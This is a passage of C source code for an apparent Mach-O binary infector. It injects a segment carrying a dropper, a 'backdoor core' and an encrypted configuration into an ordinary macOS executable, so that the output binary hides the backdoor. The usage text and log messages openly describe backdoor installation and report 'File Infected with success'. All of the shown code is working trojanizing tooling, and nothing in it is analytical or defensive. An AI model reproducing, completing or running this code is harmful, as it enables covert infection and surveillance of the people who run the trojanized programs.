seg_command->initprot = 0x5;
//seg_command->nsects += 0x1;
*/
// Copy back the segmentCommand
memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command_64));
outputOffset += sizeof (struct segment_command_64);
/*
//
// Create the new section
//
printf ("[ii] section size: %d\n", (int)(sizeof (struct section)));
sect = allocate (sizeof (struct section));
if (sect == NULL)
{
printf("[ee] Error while allocating the new section\n");
return kErrorMemoryAllocation;
}
strcpy (sect->sectname, INJECTED_SECTION_NAME);
strcpy (sect->segname, INJECTED_SEGMENT_NAME);
//sect->addr = stackSize;
sect->offset = fileSize + padding;
sect->size = outputFileSize; //TOP_STACK - stackSize; // size of the stack
sect->align = 0x2; // standard alignment
sect->flags = 0x80000000; // x flag
// Copy back the section
memcpy (outputFilePointer + outputOffset, sect, sizeof (struct section));
outputOffset += sizeof (struct section);
free (sect);
*/
}
else if (!strncmp (seg_command->segname, "__LINKEDIT",
strlen (seg_command->segname)))
{
#ifdef DEBUG
printf ("[ii] Found %s Segment\n", seg_command->segname);
#endif
memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command_64));
outputOffset += sizeof (struct segment_command_64);
//
// Now inject the new segment
//
struct segment_command_64 *mySegment = (struct segment_command_64 *) allocate (sizeof (struct segment_command_64));
mySegment->cmd = LC_SEGMENT;
mySegment->cmdsize = sizeof (struct segment_command_64);
#ifdef WIN32
strncpy_s(mySegment->segname, strlen(INJECTED_SEGMENT), INJECTED_SEGMENT, _TRUNCATE);
#else
strncpy (mySegment->segname, INJECTED_SEGMENT, strlen (INJECTED_SEGMENT));
#endif
mySegment->vmaddr = seg_command->vmaddr + seg_command->vmsize;
mySegment->vmsize = outputFileSize;
// XXX: Check this out outOffsetToArch
mySegment->fileoff = inputFileSize + padding - outOffsetToArch;
mySegment->filesize = outputFileSize;
mySegment->maxprot = 0x7;
mySegment->initprot = 0x5;
//segVMAddr = mySegment->vmaddr;
memcpy (outputFilePointer + outputOffset, mySegment, sizeof (struct segment_command_64));
outputOffset += sizeof (struct segment_command_64);
}
else
{
//
// Shift all the VM Addresses
//
//seg_command->vmaddr += paddedPagezeroVASize - PAGE_ALIGNMENT;
memcpy (outputFilePointer + outputOffset,
seg_command,
sizeof (struct segment_command_64));
outputOffset += sizeof (struct segment_command_64);
#ifdef DEBUG
printf ("[ii] Cycling for segment (%s) sections (%d)\n",
seg_command->segname, seg_command->nsects);
#endif
for (z = 0; z < seg_command->nsects; z++)
{
struct section_64 *sect;
sect = (struct section_64 *) allocate (sizeof (struct section_64));
if (sect == NULL)
{
printf("[ee] Error while allocating the new section\n");
return kErrorMemoryAllocation;
}
memcpy (sect, inputFilePointer + inputOffset, sizeof (struct section_64));
//sect->offset += sizeof (struct section);
//sect->addr += paddedPagezeroVASize - PAGE_ALIGNMENT;
memcpy (outputFilePointer + outputOffset,
sect,
sizeof (struct section_64));
free (sect);
inputOffset += sizeof (struct section_64);
outputOffset += sizeof (struct section_64);
}
}
free (seg_command);
break;
}
/*case LC_SYMTAB:
{
struct symtab_command *sy_command;
sy_command = (symtab_command *) allocate (sizeof (struct symtab_command));
memcpy (sy_command, inputFilePointer + inputOffset, sizeof (struct symtab_command));
//sy_command->symoff += sizeof (struct section);
//sy_command->stroff += sizeof (struct section);
memcpy (outputFilePointer + outputOffset, sy_command, sizeof (struct symtab_command));
free (sy_command);
inputOffset += sizeof (struct symtab_command);
outputOffset += sizeof (struct symtab_command);
break;
}
case LC_DYSYMTAB:
{
struct dysymtab_command *dysym_command;
dysym_command = (dysymtab_command *) allocate (sizeof (struct dysymtab_command));
memcpy (dysym_command, inputFilePointer + inputOffset, sizeof (struct dysymtab_command));
//dysym_command->indirectsymoff += sizeof (struct section);
memcpy (outputFilePointer + outputOffset, dysym_command, sizeof (struct dysymtab_command));
free (dysym_command);
inputOffset += sizeof (struct dysymtab_command);
outputOffset += sizeof (struct dysymtab_command);
break;
}
case LC_CODE_SIGNATURE:
case LC_SEGMENT_SPLIT_INFO:
{
struct linkedit_data_command *linkedit_command;
linkedit_command = (linkedit_data_command *) allocate (sizeof (struct linkedit_data_command));
memcpy (linkedit_command, inputFilePointer + inputOffset, sizeof (struct linkedit_data_command));
//linkedit_command->dataoff += sizeof (struct section);
memcpy (outputFilePointer + outputOffset, linkedit_command, sizeof (struct linkedit_data_command));
free (linkedit_command);
inputOffset += sizeof (struct linkedit_data_command);
outputOffset += sizeof (struct linkedit_data_command);
break;
}*/
default:
{
memcpy (outputFilePointer + outputOffset,
inputFilePointer + inputOffset,
l_command->cmdsize);
inputOffset += l_command->cmdsize;
outputOffset += l_command->cmdsize;
break;
}
}
}
#ifdef DEBUG
printf("[ii] inputFilePointer : 0x%08x\n", inputFilePointer);
printf("[ii] inputOffset : 0x%08x\n", inputOffset);
printf("[ii] inputFileSize : 0x%08x\n", inputFileSize);
printf("[ii] outputFilePointer: 0x%08x\n", outputFilePointer);
printf("[ii] outputOffset : 0x%08x\n", outputOffset);
printf("[ii] outputFileSize : 0x%08x\n", outputFileSize);
#endif
//
// Now the rest of the file (data), here we wanna skip sizeof segment_command
// in order to leave the file padded correctly for its TEXT segment
//
memcpy (outputFilePointer + outputOffset,
inputFilePointer + inputOffset + sizeof (struct segment_command_64),
inputFileSize - inputOffset - sizeof (struct segment_command_64));
free (m_header);
printf ("[ii] LoadCommands copied successfully\n");
#ifdef DEBUG_VERBOSE
printf ("inputFilePointer: %x\n", inputFilePointer);
printf ("inputFilePointer: %x\n", *(unsigned long *)inputFilePointer);
printf ("inputFilePointer: %x\n", *(unsigned long *)(inputFilePointer + 0x1000));
printf ("inputSize + padding: %d\n", inputFileSize + padding);
#endif
if (appendData(inputFilePointer,
outputFilePointer,
inOffsetToArch,
outOffsetToArch,
inputFileSize + padding,
segVMAddr,
true) != kErrorGeneric)
return padding;
else
return kErrorGeneric;
}
#endif
int
getBinaryFormat(char *aFilePointer)
{
memset(&gFatHeader, 0, sizeof (gFatHeader));
memcpy(&gFatHeader, aFilePointer, sizeof (gFatHeader));
switch (gFatHeader.magic)
{
case FAT_CIGAM:
return kFatSwapBinary;
case FAT_MAGIC:
return kFatBinary;
case MH_MAGIC:
return kMachBinary;
default:
return kErrorFileNotSupported;
}
}
int getFileSize(char *aFilePath)
{
struct stat sb;
if (stat(aFilePath, &sb) == kErrorGeneric)
{
return kErrorGeneric;
}
return sb.st_size;
}
void
usage(_mChar *aBinaryName)
{
#ifdef WIN32
printf("\nUsage: %S <core> <conf> <imanager> <xpc> <dirname> <bitmap> <input> <output>\n\n", aBinaryName);
#else
printf("\nUsage: %s <core> <conf> <kext32> <kext64> <imanager> <xpc> <icon> <dirname> <input> <output>\n\n", aBinaryName);
#endif
printf("\t<core> : backdoor core\n");
printf("\t<conf> : backdoor encrypted configuration\n");
//printf("\t<kext32> : kernel extension 32bit\n");
//printf("\t<kext64> : kernel extension 64bit\n");
printf("\t<imanager> : input manager\n");
printf("\t<xpc> : xpc service\n");
//printf("\t<icon> : icon\n");
printf("\t<dirname> : backdoor dir name\n");
printf("\t<bitmap> : bitmap image for demo\n");
printf("\t<input> : binary to melt with\n");
printf("\t<output> : output filename\n\n");
}
int
parseArguments(int argc, _mChar **argv)
{
if (argc != 7)
{
return kErrorGeneric;
}
#ifdef WIN32_NO
coreFileName = (char *)calloc(1, strlen(argv[1]) + 1);
confFileName = (char *)calloc(1, strlen(argv[2]) + 1);
kextFileName = (char *)calloc(1, strlen(argv[3]) + 1);
installPath = (char *)calloc(1, strlen(argv[4]) + 1);
inputFileName = (char *)calloc(1, strlen(argv[5]) + 1);
outputFileName = (char *)calloc(1, strlen(argv[6]) + 1);
sprintf_s(coreFileName, sizeof(coreFileName), "%s", argv[1]);
sprintf_s(confFileName, sizeof(confFileName), "%s", argv[2]);
sprintf_s(kextFileName, sizeof(kextFileName), "%s", argv[3]);
sprintf_s(installPath, sizeof(installPath), "%s", argv[4]);
sprintf_s(inputFileName, sizeof(inputFileName), "%s", argv[5]);
sprintf_s(outputFileName, sizeof(outputFileName), "%s", argv[6]);
#endif
coreFilePath = argv[1];
confFilePath = argv[2];
//kext32FilePath = argv[3];
//kext64FilePath = argv[4];
//inputManagerFilePath = argv[3];
// XPCFilePath = argv[6];
//iconFilePath = argv[6];
installPath = argv[3];
bitmapFilePath = argv[4];
inputFilePath = argv[5];
outputFilePath = argv[6];
printf("coreFilePath: %s\n confFilePath: %s\n installPath: %s\n bitmapFilePath: %s\n inputFilePath: %s\n outputFilePath: %s\n",
coreFilePath,
confFilePath,
//inputManagerFilePath,
installPath,
bitmapFilePath,
inputFilePath,
outputFilePath);
return kSuccess;
}
#ifdef WIN32
void freeArguments()
{
if (coreFilePath != NULL)
free(coreFilePath);
if (confFilePath != NULL)
free(confFilePath);
if (kext32FilePath != NULL)
free(kext32FilePath);
if (kext64FilePath != NULL)
free(kext64FilePath);
if (inputManagerFilePath != NULL)
free(inputManagerFilePath);
// if (XPCFilePath != NULL)
// free(XPCFilePath);
if (iconFilePath != NULL)
free(iconFilePath);
if (bitmapFilePath != NULL)
free(bitmapFilePath);
if (installPath != NULL)
free(installPath);
if (inputFilePath != NULL)
free(inputFilePath);
if (outputFilePath != NULL)
free(outputFilePath);
}
#endif
int
main(int argc, _mChar *argv[])
{
struct fat_arch *f_arch;
char *inputFilePointer = NULL;
char *outputFilePointer = NULL;
int outputFileSize = 0;
int fileType = 0;
int padding = 0;
int i = 0;
gNumStrings = 7;
gNumberOfResources = 2;
#ifdef WIN32
HANDLE inputFD, outputFD, inputFDMap, outputFDMap;
#else
int inputFD, outputFD;
#endif
int offsetToResources = 0;
unsigned int inputOffset = 0;
unsigned int outputOffset = 0;
int nfat = 0;
int cputype = 0;
unsigned int archOffset = 0;
if (parseArguments (argc, argv) & kErrorGeneric)
{
usage (*argv);
exit (1);
}
//
// Check if the backdoor, configuration file and KEXT exists and get
// their size
//
if ((gCoreFileSize = getFileSize(coreFilePath)) == kErrorGeneric)
{
printf ("[ee] Core backdoor file not found\n");
#ifdef WIN32
//freeArguments();
#endif
exit (1);
}
if ((gConfFileSize = getFileSize(confFilePath)) == kErrorGeneric)
{
printf ("[ee] Configuration file not found\n");
#ifdef WIN32
//freeArguments();
#endif
exit (1);
}
/*
if ((gKext32FileSize = getFileSize(kext32FilePath)) == kErrorGeneric)
{
printf ("[ee] KEXT32 file not found\n");
#ifdef WIN32
//freeArguments();
#endif
exit (1);
}
if ((gKext64FileSize = getFileSize(kext64FilePath)) == kErrorGeneric)
{
printf ("[ee] KEXT64 file not found\n");
#ifdef WIN32
//freeArguments();
#endif
exit (1);
}
*/
/*
if ((gInputManagerFileSize = getFileSize(inputManagerFilePath)) == kErrorGeneric)
{
printf ("[ee] InputManager file not found\n");
#ifdef WIN32
//freeArguments();
#endif
exit (1);
}
*/
/*
if ((gXPCFileSize = getFileSize(XPCFilePath)) == kErrorGeneric)
{
printf ("[ee] XPC service file not found\n");
#ifdef WIN32
//freeArguments();
#endif
exit (1);
}
*/
/*
if ((gIconFileSize = getFileSize(iconFilePath)) == kErrorGeneric)
{
printf ("[ee] Icon file not found\n");
#ifdef WIN32
//freeArguments();
#endif
exit (1);
}
*/
if(strcmp(bitmapFilePath, "null"))
{
if ((gBitmapFileSize = getFileSize(bitmapFilePath)) == kErrorGeneric)
{
printf("[ee] Bitmap file not found\n");
exit (1);
}
gNumberOfResources++;
}
else
gBitmapFileSize = 0;
// Map input file
#ifdef WIN32
if ((inputFilePointer = mapFile(inputFilePath,
&gInputFileSize,
&inputFD,
&inputFDMap,
0)) == NULL)
#else
if ((inputFilePointer = mapFile(inputFilePath, &gInputFileSize,
&inputFD, 0, 0)) == NULL)
#endif
{
printf("[ee] Error while mmapping the input file\n");
#ifdef WIN32
//freeArguments();
#endif
exit (1);
}
// Calculate the padded output file size + 1
outputFileSize = DROPPER_CODE_SIZE
+ sizeof (crtStart)
+ sizeof (int)
+ gCoreFileSize
+ gConfFileSize
//+ gKext32FileSize
//+ gKext64FileSize
//+ gInputManagerFileSize
//+ gXPCFileSize
//+ gIconFileSize
+ gBitmapFileSize
+ sizeof (infectionHeader)
+ sizeof (stringTable) * gNumStrings
+ sizeof (resourceHeader) * gNumberOfResources;
#ifdef DEBUG_VERBOSE
printf("unpadded outSize: %d\n", outputFileSize);
#endif
if (outputFileSize % PAGE_ALIGNMENT)
{
outputFileSize = ((outputFileSize + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
}
int tempSize = outputFileSize + gInputFileSize;
#ifdef DEBUG_VERBOSE
printf("padded outSize: %d\n", outputFileSize);
printf("tempSize: %d\n", tempSize);
printf("[ii] loaderCodeSize: %d\n", DROPPER_CODE_SIZE);
printf("[ii] gCoreFileSize: %d\n", gCoreFileSize);
printf("[ii] confCodeSize: %d\n", gConfFileSize);
printf("[ii] gKext32FileSize: %d\n", gKext32FileSize);
printf("[ii] gKext64FileSize: %d\n", gKext64FileSize);
printf("[ii] inputFileSize: %d\n", gInputFileSize);
printf("[ii] outputFileSize: %d\n", outputFileSize);
#endif
// Map output file
#ifdef WIN32
if ((outputFilePointer = mapFile(outputFilePath,
&tempSize,
&outputFD,
&outputFDMap,
&padding)) == NULL)
#else
if ((outputFilePointer = mapFile (outputFilePath, &tempSize,
&outputFD, 0, &padding)) == NULL)
#endif
{
printf("[ee] Error while mmapping the output file\n");
#ifdef WIN32
//freeArguments();
#endif
exit (1);
}
// Giving output file the correct fileSize
#ifdef WIN32
if (SetFilePointer(outputFD, tempSize + padding - 1, 0, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
{
//freeArguments();
exit (1);
}
#else
if (lseek (outputFD, tempSize + padding - 1, SEEK_SET) == kErrorGeneric)
{
exit (1);
}
#endif
#ifdef WIN32
DWORD dwByteW;
if (WriteFile(outputFD, "", 1, &dwByteW, 0) == 0)
{
if (inputFilePointer != NULL)
UnmapViewOfFile(inputFilePointer);
if (outputFilePointer != NULL)
UnmapViewOfFile(outputFilePointer);
CloseHandle(outputFDMap);
CloseHandle(inputFDMap);
CloseHandle(outputFD);
CloseHandle(inputFD);
freeArguments();
return kErrorWriteFile;
}
#else
if (write (outputFD, "", 1) == kErrorGeneric)
{
close (outputFD);
close (inputFD);
return kErrorWriteFile;
}
close (outputFD);
close (inputFD);
#endif
// Gettin filetype - Compatibility with MacOS X Leopard 10.5
fileType = getBinaryFormat(inputFilePointer);
switch (fileType)
{
case kFatBinary:
{
gFileType = 1;
int x86Found = 0;
int otherFound = 0;
gFileType = 1;
nfat = gFatHeader.nfat_arch;
int fArchSize = 0;
printf("[ii] FAT Binary found\n");
printf("[ii] Found %d Arch(s)\n", nfat);
if (nfat > 4)
{
printf("[ii] Error: unsupported format (too many archs)\n");
return kErrorGeneric;
}
//memcpy(outputFilePointer, &gFatHeader, sizeof (gFatHeader));
//outputOffset += sizeof(gFatHeader);
inputOffset += sizeof(gFatHeader);
for (i = 0; i < nfat; i++)
{
f_arch = (fat_arch *)allocate(sizeof(struct fat_arch));
memcpy(f_arch, inputFilePointer + inputOffset, sizeof(struct fat_arch));
cputype = f_arch->cputype;
archOffset = f_arch->offset;
fArchSize = f_arch->size;
#ifdef DEBUG
printf ("[ii] cputype: %d\n", cputype);
printf ("[ii] archOffset: 0x%x\n", archOffset);
#endif
if (cputype == CPU_TYPE_X86)
{
uint32_t arch_offt_padded = archOffset;
if (gShiftSize > 0)
{
arch_offt_padded += gShiftSize;
if (arch_offt_padded % PAGE_ALIGNMENT)
arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
}
offsetToResources = infectSingleArch((char *)(inputFilePointer),
(char *)(outputFilePointer),
archOffset,
0,//arch_offt_padded,
fArchSize,
outputFileSize);
gShiftSize += sizeof(struct segment_command)
+ outputFileSize
+ offsetToResources;
#ifdef DEBUG
printf("offsetToRes: %d\n", offsetToResources);
#endif
fArchSize += sizeof(struct segment_command)
+ outputFileSize
+ offsetToResources;
f_arch->size = fArchSize;
if (i > 0)
{
f_arch->offset = arch_offt_padded;
}
}
/*else if (cputype == CPU_TYPE_X86_64)
{
uint32_t arch_offt_padded = archOffset;
if (gShiftSize > 0)
{
arch_offt_padded += gShiftSize;
if (arch_offt_padded % PAGE_ALIGNMENT)
arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
}
offsetToResources = infectSingleArch64((char *)(inputFilePointer),
(char *)(outputFilePointer),
archOffset,
arch_offt_padded,
fArchSize,
outputFileSize);
gShiftSize += sizeof(struct segment_command)
+ outputFileSize
+ offsetToResources;
#ifdef DEBUG
printf("offsetToRes: %d\n", offsetToResources);
#endif
fArchSize += sizeof(struct segment_command)
+ outputFileSize
+ offsetToResources;
f_arch->size = fArchSize;
if (i > 0)
{
f_arch->offset = arch_offt_padded;
}
}
else
{
uint32_t arch_offt_padded = archOffset;
if (gShiftSize > 0)
{
arch_offt_padded += gShiftSize;
if (arch_offt_padded % PAGE_ALIGNMENT)
arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
}
f_arch->offset = arch_offt_padded;
memcpy(outputFilePointer + arch_offt_padded,
inputFilePointer + archOffset,
fArchSize);
}
memcpy(outputFilePointer + outputOffset, f_arch, sizeof(struct fat_arch));
*/
free (f_arch);
inputOffset += sizeof(struct fat_arch);
outputOffset += sizeof(struct fat_arch);
}
break;
}
case kFatSwapBinary:
{
int x86Found = 0;
int otherFound = 0;
gFileType = 2;
nfat = SWAP_LONG(gFatHeader.nfat_arch);
int fArchSize = 0;
printf ("[ii] FAT (swapped) Binary found\n");
printf ("[ii] Found %d Arch(s)\n", nfat);
if (nfat > 4)
{
printf ("[ii] Error: unsupported format (too many archs)\n");
return kErrorGeneric;
}
//memcpy (outputFilePointer, &gFatHeader, sizeof (gFatHeader));
//outputOffset += sizeof (gFatHeader);
inputOffset += sizeof(gFatHeader);
for (i = 0; i < nfat; i++)
{
f_arch = (fat_arch *)allocate(sizeof(struct fat_arch));
memcpy(f_arch, inputFilePointer + inputOffset, sizeof(struct fat_arch));
cputype = SWAP_LONG(f_arch->cputype);
archOffset = SWAP_LONG(f_arch->offset);
fArchSize = SWAP_LONG(f_arch->size);
#ifdef DEBUG
printf ("[ii] cputype: %d\n", cputype);
printf ("[ii] archOffset: 0x%x\n", archOffset);
#endif
if (cputype == CPU_TYPE_X86)
{
uint32_t arch_offt_padded = archOffset;
if (gShiftSize > 0)
{
arch_offt_padded += gShiftSize;
if (arch_offt_padded % PAGE_ALIGNMENT)
arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
}
if (otherFound == 1)
{
offsetToResources = infectSingleArch((char *)(inputFilePointer),
(char *)(outputFilePointer),
archOffset,
0,//arch_offt_padded,
gInputFileSize,
outputFileSize);
}
else
{
offsetToResources = infectSingleArch((char *)(inputFilePointer),
(char *)(outputFilePointer),
archOffset,
0,//arch_offt_padded,
fArchSize,
outputFileSize);
}
gShiftSize += sizeof(struct segment_command)
+ outputFileSize
+ offsetToResources;
#ifdef DEBUG
printf("offsetToRes: %d\n", offsetToResources);
#endif
fArchSize += sizeof(struct segment_command)
+ outputFileSize
+ offsetToResources;
f_arch->size = SWAP_LONG(fArchSize);
if (i > 0)
{
f_arch->offset = SWAP_LONG(arch_offt_padded);
}
}
/*else if (cputype == CPU_TYPE_X86_64)
{
uint32_t arch_offt_padded = archOffset;
if (gShiftSize > 0)
{
arch_offt_padded += gShiftSize;
if (arch_offt_padded % PAGE_ALIGNMENT)
arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
}
if (otherFound == 1)
{
offsetToResources = infectSingleArch64 ((char *)(inputFilePointer),
(char *)(outputFilePointer),
archOffset,
arch_offt_padded,
gInputFileSize,
outputFileSize);
}
else
{
offsetToResources = infectSingleArch64 ((char *)(inputFilePointer),
(char *)(outputFilePointer),
archOffset,
arch_offt_padded,
fArchSize,
outputFileSize);
}
gShiftSize += sizeof (struct segment_command)
+ outputFileSize
+ offsetToResources;
#ifdef DEBUG
printf("offsetToRes: %d\n", offsetToResources);
#endif
fArchSize += sizeof (struct segment_command)
+ outputFileSize
+ offsetToResources;
f_arch->size = SWAP_LONG (fArchSize);
if (i > 0)
{
f_arch->offset = SWAP_LONG (arch_offt_padded);
}
}
else
{
uint32_t arch_offt_padded = archOffset;
otherFound++;
if (gShiftSize > 0)
{
#ifdef DEBUG
printf("[ii] arch_offt_padded: %d\n", arch_offt_padded);
printf("[ii] Should shift: %d\n", gShiftSize);
#endif
arch_offt_padded += gShiftSize;
if (arch_offt_padded % PAGE_ALIGNMENT)
arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
#ifdef DEBUG
printf("[ii] Padded shift: %d\n", arch_offt_padded);
#endif
}
f_arch->offset = SWAP_LONG (arch_offt_padded);
memcpy (outputFilePointer + arch_offt_padded,
inputFilePointer + archOffset,
fArchSize);
}
memcpy (outputFilePointer + outputOffset, f_arch, sizeof (struct fat_arch));
*/
free(f_arch);
inputOffset += sizeof(struct fat_arch);
gOutSize = fArchSize;
//outputOffset += sizeof (struct fat_arch);
}
break;
}
case kMachBinary:
{
gFileType = 3;
printf("[ii] Mach Binary found\n");
if ((offsetToResources = infectSingleArch(inputFilePointer,
outputFilePointer,
0,
0,
gInputFileSize,
outputFileSize)) < 0)
{
printf("[ee] An error occurred while infecting the binary\n");
switch (offsetToResources)
{
case kErrorGeneric:
printf("[ee] Got a generic error\n");
break;
case kErrorOpenFile:
printf("[ee] Error on file open\n");
break;
case kErrorReadFile:
printf("[ee] Error while reading the input file\n");
break;
case kErrorWriteFile:
printf("[ee] Error while writing the output file\n");
break;
case kErrorCreateFile:
printf("[ee] Error while creating the output file\n");
break;
default:
break;
}
}
break;
}
default:
break;
}
printf("[ii] File Infected with success\n");
#ifdef WIN32
if (inputFilePointer != NULL)
UnmapViewOfFile(inputFilePointer);
if (outputFilePointer != NULL)
UnmapViewOfFile(outputFilePointer);
CloseHandle(outputFDMap);
CloseHandle(inputFDMap);
if (gFileType != 3)
{
SetFilePointer(outputFD, gOutSize, 0, FILE_BEGIN);
SetEndOfFile(outputFD);
}
CloseHandle(outputFD);
CloseHandle(inputFD);
//freeArguments();
#endif
return kSuccess;
}